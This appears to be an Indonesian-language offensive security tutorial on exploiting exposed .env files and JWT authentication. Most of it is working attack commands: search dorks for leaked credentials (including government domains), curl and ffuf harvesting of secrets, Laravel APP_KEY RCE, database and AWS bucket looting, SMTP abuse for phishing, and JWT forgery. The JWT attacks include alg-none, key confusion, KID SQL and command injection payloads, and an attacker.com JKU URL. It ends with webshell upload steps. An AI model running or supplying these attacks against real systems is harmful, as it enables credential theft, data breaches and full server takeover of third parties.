Exposed .env Files & JWT Exploitation

Eksploitasi file .env yang terekspos — Laravel APP_KEY RCE, JWT attack, dan cloud key abuse.
February 23, 2026 Reading: 16 min Authors:
  • Siti

Daftar Isi


Bab 1 — Exposed .env Files

1.1 Apa itu .env File

File .env menyimpan konfigurasi environment aplikasi. Isinya biasanya:

 1APP_NAME=MyApp
 2APP_KEY=base64:kGKg6DnMqHbVR9t5R3M5S8J3bXpLm0C4n6BGWT1FyKQ=
 3APP_DEBUG=true
 4APP_URL=https://target.com
 5
 6DB_HOST=127.0.0.1
 7DB_DATABASE=production_db
 8DB_USERNAME=root
 9DB_PASSWORD=S3cretP@ss!
10
11MAIL_HOST=smtp.gmail.com
12MAIL_USERNAME=noreply@company.com
13MAIL_PASSWORD=app-specific-password
14
15AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
16AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
17AWS_DEFAULT_REGION=us-east-1
18
19JWT_SECRET=my-super-secret-jwt-key-12345
20STRIPE_SECRET_KEY=sk_live_xxxxxxxxxxxxxxxxxxxx

Satu file ini mengandung semua kunci kerajaan — database, cloud, email, payment, encryption keys.

1.2 Mengapa Sering Terekspos

  • Web server tidak dikonfigurasi untuk memblokir dotfiles
  • .htaccess tidak ada atau salah konfigurasi
  • Nginx tanpa rule deny untuk hidden files
  • Developer lupa exclude dari deployment
  • Docker build meng-copy semua file termasuk .env
  • Git repository publik yang mengandung .env
  • Backup file: .env.bak, .env.old, .env.save yang lolos filter

1.3 Dorking: Google

# .env files langsung
inurl:.env intext:DB_PASSWORD
inurl:.env intext:APP_KEY
inurl:.env intext:AWS_SECRET
inurl:.env intext:MAIL_PASSWORD
inurl:.env intext:JWT_SECRET
inurl:.env filetype:env

# Targeted
site:target.com inurl:.env
site:.id inurl:.env intext:DB_PASSWORD
site:.go.id inurl:.env

# Variasi
inurl:.env.local intext:DB_PASSWORD
inurl:.env.production intext:APP_KEY
inurl:.env.backup
inurl:.env.bak
inurl:.env.old

# Kombinasi framework
inurl:.env intext:LARAVEL
inurl:.env intext:DJANGO_SECRET_KEY
inurl:.env intext:FLASK_SECRET
inurl:.env intext:NEXT_PUBLIC
inurl:.env intext:NUXT

1.4 Dorking: Shodan / Censys / FOFA

 1# Shodan
 2shodan search 'http.body:"DB_PASSWORD" http.body:"APP_KEY"'
 3shodan search 'http.body:"AWS_SECRET_ACCESS_KEY"'
 4shodan search 'http.body:"MAIL_PASSWORD" country:"ID"'
 5
 6# FOFA
 7body="DB_PASSWORD" && body="APP_KEY"
 8body="AWS_SECRET_ACCESS_KEY" && country="ID"
 9body="JWT_SECRET" && status_code="200"
10
11# Censys
12services.http.response.body: "DB_PASSWORD" AND services.http.response.body: "APP_KEY"

1.5 Manual & Automated Discovery

Single target — Manual

 1# Cek langsung
 2curl -sk https://target.com/.env
 3curl -sk https://target.com/.env.local
 4curl -sk https://target.com/.env.production
 5curl -sk https://target.com/.env.backup
 6curl -sk https://target.com/.env.bak
 7curl -sk https://target.com/.env.old
 8curl -sk https://target.com/.env.save
 9curl -sk https://target.com/.env.example  # kadang berisi real values
10
11# Subdirectory
12curl -sk https://target.com/api/.env
13curl -sk https://target.com/app/.env
14curl -sk https://target.com/backend/.env
15curl -sk https://target.com/laravel/.env
16curl -sk https://target.com/public/.env
17curl -sk https://target.com/web/.env

Batch — ffuf

 1cat > /tmp/env-paths.txt << 'EOF'
 2.env
 3.env.local
 4.env.production
 5.env.development
 6.env.staging
 7.env.backup
 8.env.bak
 9.env.old
10.env.save
11.env.swp
12.env.swo
13.env~
14.env.dist
15.env.example
16.env.sample
17.env.dev
18.env.prod
19.env.test
20api/.env
21app/.env
22backend/.env
23laravel/.env
24public/.env
25web/.env
26src/.env
27config/.env
28EOF
29
30ffuf -u https://target.com/FUZZ -w /tmp/env-paths.txt -mc 200 -fs 0

Bulk targets — Nuclei

1# Scan daftar target
2nuclei -l targets.txt -t http/exposures/configs/env-file.yaml
3nuclei -l targets.txt -t http/exposures/configs/ -tags config,env
4
5# Custom template untuk deep scan
6nuclei -l targets.txt -t http/exposures/ -tags exposure

httpx pipeline

1# Dari subdomain list, cek .env sekaligus
2cat subdomains.txt | httpx -path "/.env" -mc 200 -ms "DB_PASSWORD\|APP_KEY\|AWS_SECRET"

1.6 Variasi Path & Filename

Selain .env, banyak file konfigurasi lain yang sering terekspos:

# Dotenv variants
.env
.env.local
.env.production
.env.development
.env.staging
.env.backup / .env.bak / .env.old

# Framework config
config.php
config.yml
config.json
wp-config.php
configuration.php           # Joomla
settings.php                # Drupal
database.yml                # Rails
application.yml
appsettings.json            # .NET
.htpasswd
web.config                  # IIS

# Docker & CI
docker-compose.yml          # sering ada passwords
Dockerfile                  # mungkin ada secrets di ENV/ARG
.docker/config.json         # Docker registry auth
.gitlab-ci.yml              # CI variables
.github/workflows/*.yml     # GitHub Actions secrets reference

# Cloud & infra
terraform.tfstate           # semua infrastructure state + secrets
terraform.tfvars
ansible/group_vars/all.yml
k8s/secrets.yaml
values.yaml                 # Helm values

1.7 Parsing & Extracting Secrets

Setelah mendapatkan .env file:

 1# Download
 2curl -sk https://target.com/.env -o target.env
 3
 4# Extract high-value secrets
 5grep -iE '(password|secret|key|token|credential|auth|api_key|private)' target.env
 6
 7# Categorize
 8echo "=== DATABASE ==="
 9grep -iE '(DB_|DATABASE_|MYSQL_|POSTGRES_|MONGO_|REDIS_)' target.env
10
11echo "=== CLOUD ==="
12grep -iE '(AWS_|AZURE_|GCP_|DO_|DIGITALOCEAN_|S3_)' target.env
13
14echo "=== EMAIL ==="
15grep -iE '(MAIL_|SMTP_|EMAIL_|SENDGRID_|MAILGUN_)' target.env
16
17echo "=== AUTH & CRYPTO ==="
18grep -iE '(JWT_|APP_KEY|SECRET_KEY|ENCRYPTION_|HASH_|AUTH_)' target.env
19
20echo "=== PAYMENT ==="
21grep -iE '(STRIPE_|PAYPAL_|RAZORPAY_|MIDTRANS_)' target.env
22
23echo "=== THIRD PARTY ==="
24grep -iE '(TWILIO_|FIREBASE_|PUSHER_|ALGOLIA_|SENTRY_)' target.env

1.8 Exploitation per Secret Type

SecretImpactPrioritas
APP_KEY (Laravel)RCE via deserializationKritikal
JWT_SECRETForge token → admin accessKritikal
DB_PASSWORDFull database accessKritikal
AWS_SECRET_ACCESS_KEYFull cloud takeoverKritikal
STRIPE_SECRET_KEYFinancial data, refundsKritikal
MAIL_PASSWORDPhishing, account takeoverTinggi
REDIS_PASSWORDSession hijack, RCETinggi
FIREBASE_API_KEYPush notifications, dataSedang
SENTRY_DSNError logs, info disclosureRendah

1.9 Laravel APP_KEY → RCE

Ini salah satu eksploitasi paling devastating dari leaked .env.

Syarat:

  • APP_KEY didapat dari .env
  • Laravel versi < 9.x (atau aplikasi yang pakai unserialize)
  • APP_DEBUG=true (nice to have, bukan mandatory)
 1# APP_KEY contoh:
 2# APP_KEY=base64:kGKg6DnMqHbVR9t5R3M5S8J3bXpLm0C4n6BGWT1FyKQ=
 3
 4# Gunakan tool: CVE-2018-15133 (Laravel RCE via APP_KEY)
 5# https://github.com/kozmic/laravel-poc-CVE-2018-15133
 6
 7php laravel-poc.php https://target.com "APP_KEY_VALUE" "system('id')"
 8
 9# Atau pakai phpggc untuk generate payload:
10# phpggc Laravel/RCE1 system id -b
11# Lalu encrypt dengan APP_KEY dan kirim via cookie

Manual flow:

1# 1. Generate serialized payload dengan phpggc
2phpggc Laravel/RCE1 system 'id' -b
3
4# 2. Encrypt payload menggunakan APP_KEY
5# APP_KEY dipakai Laravel untuk encrypt/decrypt cookie
6# Payload di-serialize → encrypt → set sebagai cookie X-XSRF-TOKEN atau laravel_session
7
8# 3. Kirim request dengan crafted cookie
9# Laravel auto-decrypt cookie → unserialize → RCE

Untuk Laravel 9+ (yang pakai Ignition):

1# CVE-2021-3129 — Ignition RCE
2# Jika APP_DEBUG=true dan Ignition terinstall
3
4# Cek apakah vulnerable
5curl -sk "https://target.com/_ignition/health-check"
6
7# Exploit
8python3 laravel-ignition-rce.py https://target.com "system('id')"

1.10 Database Credentials → Data Access

 1# Dari .env:
 2# DB_HOST=db.internal.target.com
 3# DB_DATABASE=production
 4# DB_USERNAME=app_user
 5# DB_PASSWORD=S3cretP@ss!
 6
 7# Jika DB host publicly accessible:
 8mysql -h db.internal.target.com -u app_user -p'S3cretP@ss!' production
 9
10# PostgreSQL
11PGPASSWORD='S3cretP@ss!' psql -h db.internal.target.com -U app_user -d production
12
13# MongoDB
14mongosh "mongodb://app_user:S3cretP@ss!@db.internal.target.com:27017/production"
15
16# Redis
17redis-cli -h redis.internal.target.com -a 'RedisPassword'
18
19# Jika DB host = localhost/127.0.0.1 → tidak bisa langsung dari luar
20# Tapi bisa combine dengan RCE atau SSRF untuk akses

Setelah masuk database:

 1-- Cari semua tabel
 2SHOW TABLES;
 3
 4-- Dump users
 5SELECT * FROM users;
 6
 7-- Cari tabel sensitif
 8SELECT table_name FROM information_schema.tables
 9WHERE table_name LIKE '%user%' OR table_name LIKE '%payment%'
10   OR table_name LIKE '%order%' OR table_name LIKE '%token%'
11   OR table_name LIKE '%secret%' OR table_name LIKE '%credential%';

1.11 Cloud Keys → Full Infrastructure

AWS

 1# Dari .env:
 2# AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
 3# AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
 4
 5# Set credentials
 6export AWS_ACCESS_KEY_ID="AKIAIOSFODNN7EXAMPLE"
 7export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
 8
 9# Cek identitas
10aws sts get-caller-identity
11
12# Enumerate
13aws s3 ls                              # List S3 buckets
14aws ec2 describe-instances             # List servers
15aws iam list-users                     # List IAM users
16aws secretsmanager list-secrets        # Cloud secrets
17aws rds describe-db-instances          # List databases
18aws lambda list-functions              # List serverless functions
19aws ssm describe-parameters            # Parameter store
20
21# Download S3 bucket
22aws s3 sync s3://bucket-name ./loot/
23
24# Baca secrets
25aws secretsmanager get-secret-value --secret-id "prod/database"

GCP

1# Dari .env:
2# GOOGLE_APPLICATION_CREDENTIALS=/path/to/service-account.json
3# atau GCP_PROJECT_ID + GCP_PRIVATE_KEY
4
5gcloud auth activate-service-account --key-file=service-account.json
6gcloud projects list
7gcloud compute instances list
8gcloud sql instances list
9gcloud secrets list

DigitalOcean

1# Dari .env:
2# DO_API_TOKEN=dop_v1_xxxxxxxx
3
4curl -sH "Authorization: Bearer dop_v1_xxxxxxxx" \
5  "https://api.digitalocean.com/v2/droplets" | jq

1.12 SMTP Credentials → Phishing / Account Takeover

 1# Dari .env:
 2# MAIL_HOST=smtp.gmail.com
 3# MAIL_PORT=587
 4# MAIL_USERNAME=noreply@company.com
 5# MAIL_PASSWORD=app-specific-password
 6
 7# Verifikasi credentials
 8# Pakai swaks (Swiss Army Knife for SMTP)
 9swaks --to test@test.com \
10  --from noreply@company.com \
11  --server smtp.gmail.com:587 \
12  --auth LOGIN \
13  --auth-user noreply@company.com \
14  --auth-password "app-specific-password" \
15  --tls \
16  --body "test"

Dampak:

  • Kirim email dari domain resmi perusahaan (bypass SPF/DKIM)
  • Password reset akun lain (kirim ke diri sendiri)
  • Phishing yang sangat convincing (from: @company.com)
  • Social engineering internal

1.13 Checklist .env Exploitation

Dapat .env file
  │
  ├─ 1. Parse & categorize semua secrets
  │
  ├─ 2. APP_KEY ada (Laravel)?
  │     └─ Ya → CVE-2018-15133 / CVE-2021-3129 → RCE
  │
  ├─ 3. JWT_SECRET ada?
  │     └─ Ya → Forge JWT token → admin access (lihat Bab 2)
  │
  ├─ 4. DB credentials
  │     ├─ Host publik? → Koneksi langsung → dump data
  │     └─ Host localhost? → Combine dengan RCE/SSRF
  │
  ├─ 5. AWS/GCP/Azure keys
  │     └─ aws sts get-caller-identity → enumerate → takeover
  │
  ├─ 6. SMTP credentials
  │     └─ Verifikasi → phishing / password reset abuse
  │
  ├─ 7. STRIPE/payment keys
  │     └─ Cek apakah live key → financial access
  │
  └─ 8. Redis/Memcached credentials
        └─ Koneksi → session hijack / RCE

Bab 2 — JWT Exploitation

2.1 Apa itu JWT

JWT (JSON Web Token) adalah format token yang dipakai untuk autentikasi & otorisasi di web applications. Berbeda dengan session-based auth (data disimpan di server), JWT menyimpan semua data di token itu sendiri (client-side).

Artinya: jika kamu bisa memalsukan JWT, kamu bisa jadi siapapun tanpa perlu akses ke server.

2.2 Struktur JWT

JWT terdiri dari 3 bagian dipisahkan titik:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYWRtaW4ifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
|          HEADER              |          PAYLOAD              |            SIGNATURE           |

Header (base64url decoded):

1{
2  "alg": "HS256",
3  "typ": "JWT"
4}

Payload (base64url decoded):

1{
2  "user_id": 1,
3  "role": "admin",
4  "email": "admin@target.com",
5  "iat": 1700000000,
6  "exp": 1700086400
7}

Signature:

HMAC-SHA256(
  base64url(header) + "." + base64url(payload),
  SECRET_KEY
)

Decode JWT apapun (tanpa secret):

1# Di terminal
2echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d 2>/dev/null
3echo "eyJ1c2VyX2lkIjoxfQ" | base64 -d 2>/dev/null
4
5# Atau gunakan jwt.io, jwt_tool, dll

2.3 Dimana JWT Ditemukan

 1# 1. HTTP Headers
 2Authorization: Bearer eyJhbGci...
 3X-Auth-Token: eyJhbGci...
 4X-Access-Token: eyJhbGci...
 5
 6# 2. Cookies
 7Cookie: token=eyJhbGci...
 8Cookie: jwt=eyJhbGci...
 9Cookie: access_token=eyJhbGci...
10Cookie: session=eyJhbGci...
11
12# 3. URL Parameters
13https://target.com/api?token=eyJhbGci...
14
15# 4. POST Body
16{"token": "eyJhbGci..."}
17
18# 5. Local Storage / Session Storage (via XSS)
19localStorage.getItem('token')
20sessionStorage.getItem('jwt')
21
22# 6. Hidden form fields
23<input type="hidden" name="token" value="eyJhbGci...">

Cara mengenali JWT: selalu dimulai dengan eyJ (base64 dari {" ).

2.4 Algorithm None Attack

Beberapa library JWT menerima "alg": "none" — artinya tidak perlu signature sama sekali.

1# Token asli:
2# Header: {"alg":"HS256","typ":"JWT"}
3# Payload: {"user_id":5,"role":"user"}
4# + valid signature
5
6# Token palsu:
7# Header: {"alg":"none","typ":"JWT"}
8# Payload: {"user_id":1,"role":"admin"}  ← diganti
9# Signature: (kosong)

Manual craft:

 1# Encode header
 2echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '='
 3# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
 4
 5# Encode payload (ganti role jadi admin)
 6echo -n '{"user_id":1,"role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '='
 7# eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYWRtaW4ifQ
 8
 9# Gabungkan (signature kosong — trailing dot)
10# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYWRtaW4ifQ.

Variasi alg none:

"alg": "none"
"alg": "None"
"alg": "NONE"
"alg": "nOnE"

Dengan jwt_tool:

1python3 jwt_tool.py <token> -X a
2# Otomatis coba semua variasi none

2.5 Algorithm Confusion (RS256 → HS256)

Jika server pakai RS256 (asymmetric — public key + private key), tapi library juga menerima HS256 (symmetric — satu shared key):

Trik: gunakan public key server (yang memang publik) sebagai HMAC secret.

 1# 1. Dapatkan public key server
 2# Biasanya di:
 3curl -sk https://target.com/.well-known/jwks.json
 4curl -sk https://target.com/api/keys
 5curl -sk https://target.com/oauth/discovery/keys
 6# Atau dari certificate HTTPS itu sendiri
 7
 8# 2. Convert JWKS ke PEM jika perlu
 9# Banyak tools online atau pakai:
10python3 -c "
11from jwt.algorithms import RSAAlgorithm
12import json, sys
13jwks = json.load(open('jwks.json'))
14key = RSAAlgorithm.from_jwk(json.dumps(jwks['keys'][0]))
15print(key.public_bytes_raw())
16"
17
18# 3. Sign token baru pakai HS256 + public key sebagai secret
19python3 jwt_tool.py <token> -X k -pk public.pem
20# -X k = key confusion attack
21# -pk  = public key file

Manual dengan Python:

 1import jwt
 2
 3public_key = open('public.pem', 'r').read()
 4
 5# Forge token
 6token = jwt.encode(
 7    {"user_id": 1, "role": "admin"},
 8    public_key,           # pakai public key sebagai HMAC secret
 9    algorithm="HS256"     # force HS256
10)
11print(token)

2.6 Weak Secret Brute Force

Jika JWT pakai HS256/HS384/HS512, secret bisa di-brute force offline.

 1# hashcat (paling cepat, GPU)
 2hashcat -m 16500 -a 0 jwt.txt /usr/share/wordlists/rockyou.txt
 3
 4# Format jwt.txt — token lengkap dalam 1 baris:
 5# eyJhbGci...header.eyJzdWIi...payload.signature_here
 6
 7# john the ripper
 8john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
 9
10# jwt_tool
11python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt
12
13# jwt-cracker (Node.js, brute force karakter)
14jwt-cracker <token> "abcdefghijklmnopqrstuvwxyz0123456789" 8

Wordlist khusus JWT secrets:

secret
password
123456
jwt_secret
my-secret-key
supersecret
changeme
your-256-bit-secret
jwt-secret
token-secret
app-secret
HS256-secret
s3cr3t
default

Banyak developer pakai secret yang lemah atau default dari tutorial/documentation.

2.7 JWT Secret dari .env / Source Code

Jika kamu sudah punya .env file (dari Bab 1):

1# Extract JWT secret
2grep -iE '(JWT_SECRET|JWT_KEY|TOKEN_SECRET|AUTH_SECRET|APP_SECRET|SECRET_KEY)' .env
3
4# Contoh hasil:
5# JWT_SECRET=my-super-secret-jwt-key-12345

Forge token:

 1import jwt
 2
 3secret = "my-super-secret-jwt-key-12345"  # dari .env
 4
 5# Buat token admin
 6token = jwt.encode(
 7    {
 8        "user_id": 1,
 9        "role": "admin",
10        "email": "admin@target.com",
11        "iat": 1700000000,
12        "exp": 9999999999     # expiry jauh di masa depan
13    },
14    secret,
15    algorithm="HS256"
16)
17print(token)
1# Pakai token
2curl -sk -H "Authorization: Bearer $TOKEN" https://target.com/api/admin/users

2.8 KID Injection

kid (Key ID) di header JWT menunjukkan key mana yang dipakai. Jika server menggunakan kid untuk lookup key dari filesystem atau database, bisa di-inject.

a) KID — Path Traversal

1{
2  "alg": "HS256",
3  "typ": "JWT",
4  "kid": "../../../dev/null"
5}

Server membaca /dev/null (file kosong) → secret = string kosong → sign dengan secret kosong.

1python3 jwt_tool.py <token> -I -hc kid -hv "../../../dev/null" -S hs256 -p ""

b) KID — SQL Injection

Jika kid di-query ke database:

1{
2  "alg": "HS256",
3  "typ": "JWT",
4  "kid": "key1' UNION SELECT 'my-secret-key' -- "
5}

Server menjalankan:

1SELECT key_value FROM jwt_keys WHERE kid = 'key1' UNION SELECT 'my-secret-key' --'

→ Mengembalikan my-secret-key → sign token dengan secret yang kamu kontrol.

c) KID — Command Injection

1{
2  "alg": "HS256",
3  "typ": "JWT",
4  "kid": "key1|cat /etc/passwd"
5}

Jika server mengeksekusi shell command untuk read key file.

2.9 JWK / JKU Header Injection

JWK (JSON Web Key) Injection

Beberapa library menerima jwk parameter di header — kamu bisa embed key kamu sendiri:

1# 1. Generate key pair
2openssl genrsa -out attacker.pem 2048
3openssl rsa -in attacker.pem -pubout -out attacker_pub.pem
4
5# 2. Buat JWK dari public key dan embed di header
6python3 jwt_tool.py <token> -X i
7# -X i = JWK injection

JKU (JWK Set URL) Injection

jku header menunjukkan URL untuk fetch public key. Ganti ke server kamu:

1{
2  "alg": "RS256",
3  "typ": "JWT",
4  "jku": "https://attacker.com/.well-known/jwks.json"
5}
1# 1. Generate key pair
2# 2. Host jwks.json di server attacker
3# 3. Sign token dengan private key attacker
4# 4. Server fetch public key dari attacker URL → verifikasi berhasil
5
6python3 jwt_tool.py <token> -X s -ju "https://attacker.com/.well-known/jwks.json"

2.10 Expired Token Bypass

Beberapa server tidak memeriksa exp (expiration) claim dengan benar.

 1# 1. Coba kirim expired token apa adanya
 2# Kadang server tidak cek expiry
 3
 4# 2. Hapus exp claim
 5python3 jwt_tool.py <token> -I -pc exp -pv ""
 6
 7# 3. Set exp sangat jauh ke depan
 8python3 jwt_tool.py <token> -I -pc exp -pv 9999999999
 9
10# 4. Ganti exp ke timestamp lalu (negatif)
11python3 jwt_tool.py <token> -I -pc exp -pv -1

2.11 Privilege Escalation via JWT Claims

Setelah bisa forge/modify token, ganti claims untuk escalate privilege:

1// Dari:
2{"user_id": 5, "role": "user", "is_admin": false}
3
4// Ke:
5{"user_id": 1, "role": "admin", "is_admin": true}

Claims yang umum bisa di-escalate:

 1{
 2  "role": "admin",            // ganti dari "user"
 3  "is_admin": true,           // ganti dari false
 4  "user_id": 1,               // ganti ke admin ID
 5  "sub": "admin",             // subject
 6  "groups": ["admin"],        // tambah group admin
 7  "permissions": ["*"],       // all permissions
 8  "scope": "admin read write",
 9  "email": "admin@target.com" // impersonate admin
10}
1# jwt_tool — tamper claims interaktif
2python3 jwt_tool.py <token> -T
3
4# Atau langsung:
5python3 jwt_tool.py <token> -I -pc role -pv admin -pc is_admin -pv true -S hs256 -p "secret"

2.12 Tools

ToolFungsiInstall
jwt_toolAll-in-one JWT attack toolpip install jwt-tool atau clone git
jwt.ioOnline decoder/encoderBrowser
hashcatGPU brute force JWT secretPre-installed Kali
johnCPU brute force JWTPre-installed Kali
jwt-crackerCharacter brute forcenpm install jwt-cracker
PyJWTPython library untuk forge JWTpip install PyJWT

jwt_tool cheatsheet:

 1# Decode (tanpa secret)
 2python3 jwt_tool.py <token>
 3
 4# Tamper claims interaktif
 5python3 jwt_tool.py <token> -T
 6
 7# Algorithm none
 8python3 jwt_tool.py <token> -X a
 9
10# Key confusion (RS256 → HS256)
11python3 jwt_tool.py <token> -X k -pk public.pem
12
13# JWK injection
14python3 jwt_tool.py <token> -X i
15
16# JKU spoofing
17python3 jwt_tool.py <token> -X s -ju "https://attacker.com/jwks.json"
18
19# KID injection
20python3 jwt_tool.py <token> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
21
22# Crack secret
23python3 jwt_tool.py <token> -C -d wordlist.txt
24
25# Forge with known secret
26python3 jwt_tool.py <token> -I -pc role -pv admin -S hs256 -p "known_secret"
27
28# Scan all attacks
29python3 jwt_tool.py -M at -t "https://target.com/api/protected" \
30  -rh "Authorization: Bearer <token>"

2.13 Checklist JWT Exploitation

Mendapatkan JWT token
  │
  ├─ 1. Decode — lihat header (alg) & payload (claims)
  │
  ├─ 2. alg = none?
  │     └─ Coba none attack → modify claims → kirim tanpa signature
  │
  ├─ 3. alg = HS256?
  │     ├─ Brute force secret (hashcat/john)
  │     ├─ Punya .env? → ambil JWT_SECRET → forge token
  │     └─ Default/weak secret? → coba wordlist
  │
  ├─ 4. alg = RS256?
  │     ├─ Dapatkan public key → algorithm confusion → HS256
  │     ├─ JWK injection
  │     └─ JKU injection
  │
  ├─ 5. Ada kid header?
  │     ├─ Path traversal → /dev/null → empty secret
  │     ├─ SQL injection → control secret value
  │     └─ Command injection
  │
  ├─ 6. Expired token?
  │     └─ Coba kirim apa adanya → mungkin tidak dicek
  │
  └─ 7. Bisa forge?
        ├─ Ganti role → admin
        ├─ Ganti user_id → 1 (biasanya admin)
        └─ Akses endpoint admin → full takeover

Bab 3 — Kombinasi: .env + JWT = Full Takeover

3.1 Flow Umum

Temukan .env terekspos
  │
  ├─ Extract JWT_SECRET / APP_KEY
  │
  ├─ Decode JWT yang didapat (dari response, cookie, dll)
  │
  ├─ Forge JWT baru dengan:
  │   ├─ role: admin
  │   ├─ user_id: 1
  │   └─ exp: jauh di depan
  │
  ├─ Akses API admin
  │   ├─ /api/admin/users
  │   ├─ /api/admin/settings
  │   └─ /api/admin/upload → webshell → RCE
  │
  └─ Combine DB creds dari .env
      └─ Dump database → more credentials → lateral movement

3.2 Contoh Kasus: Laravel

 1# .env yang didapat:
 2# APP_KEY=base64:kGKg6DnMqHbVR9t5R3M5S8J3bXpLm0C4n6BGWT1FyKQ=
 3# JWT_SECRET=laravel-jwt-secret-value
 4# DB_PASSWORD=dbpass123
 5
 6# Langkah 1 — Forge JWT
 7python3 -c "
 8import jwt
 9token = jwt.encode(
10    {'sub': 1, 'role': 'admin', 'exp': 9999999999},
11    'laravel-jwt-secret-value',
12    algorithm='HS256'
13)
14print(token)
15"
16
17# Langkah 2 — Akses admin API
18curl -sk -H "Authorization: Bearer <forged_token>" \
19  https://target.com/api/admin/users
20
21# Langkah 3 — Jika ada upload endpoint
22curl -sk -H "Authorization: Bearer <forged_token>" \
23  -F "file=@shell.php" \
24  https://target.com/api/admin/upload
25
26# Langkah 4 — RCE
27curl -sk "https://target.com/uploads/shell.php?cmd=id"
28
29# Langkah 5 — Atau langsung RCE via APP_KEY (CVE-2018-15133)
30# Tanpa perlu JWT sama sekali

3.3 Contoh Kasus: Node.js / Express

 1# .env yang didapat:
 2# JWT_SECRET=express-jwt-secret
 3# MONGODB_URI=mongodb://admin:mongopass@localhost:27017/app
 4# SESSION_SECRET=session-secret-value
 5
 6# Forge JWT
 7node -e "
 8const jwt = require('jsonwebtoken');
 9const token = jwt.sign(
10  {userId: 'admin_object_id', role: 'admin', isAdmin: true},
11  'express-jwt-secret',
12  {expiresIn: '365d'}
13);
14console.log(token);
15"
16
17# Atau tanpa Node.js (pakai Python)
18python3 -c "
19import jwt
20token = jwt.encode(
21    {'userId': '000000000000000000000001', 'role': 'admin', 'isAdmin': True},
22    'express-jwt-secret',
23    algorithm='HS256'
24)
25print(token)
26"
27
28# Akses admin
29curl -sk -H "Authorization: Bearer <token>" https://target.com/api/admin/dashboard

3.4 Contoh Kasus: Django / Flask

 1# .env yang didapat:
 2# SECRET_KEY=django-insecure-key-from-env
 3# DATABASE_URL=postgres://user:pass@localhost/dbname
 4
 5# Django — SECRET_KEY dipakai untuk session signing
 6# Flask — SECRET_KEY dipakai untuk session cookie (bukan JWT biasa)
 7
 8# Flask session forge (menggunakan flask-unsign):
 9pip install flask-unsign
10
11# Decode session cookie
12flask-unsign --decode --cookie "eyJ1c2VyIjoiZ3Vlc3QifQ.XXXXX.YYYYY"
13
14# Forge admin session
15flask-unsign --sign --cookie "{'user': 'admin', 'role': 'admin', 'is_authenticated': True}" \
16  --secret "django-insecure-key-from-env"
17
18# Kirim forged session
19curl -sk -b "session=<forged_cookie>" https://target.com/admin/

3.5 Dari JWT Admin ke RCE

Setelah punya JWT admin, cari endpoint yang bisa memberi RCE:

 1# 1. File upload endpoint
 2POST /api/admin/upload
 3POST /api/admin/media
 4POST /api/admin/files
 5POST /api/admin/import
 6
 7# Upload webshell:
 8curl -sk -H "Authorization: Bearer <admin_token>" \
 9  -F "file=@shell.php;filename=shell.php" \
10  https://target.com/api/admin/upload
11
12# 2. Config/Settings endpoint
13POST /api/admin/settings
14# Ubah template path, upload path, atau inject SSTI
15
16# 3. User management
17POST /api/admin/users
18# Buat user baru dengan privilege
19
20# 4. Backup/Export endpoint
21GET /api/admin/backup
22GET /api/admin/export
23# Download source code / database dump
24
25# 5. Console / Debug endpoint (jika ada)
26POST /api/admin/console
27POST /api/admin/eval
28POST /api/admin/execute
29# Langsung RCE jika ada

Common framework admin RCE paths:

FrameworkPath setelah adminRCE via
Laravel/admin/ (Voyager/Nova)Media upload
WordPress/wp-admin/Theme/Plugin editor
Django/admin/Jika debug ON + SSTI
Express/admin/Depends on implementation
Spring Boot/actuator/Env endpoint + restart
Rails/admin/ (ActiveAdmin)ERB template injection

Bab 4 — (Coming soon)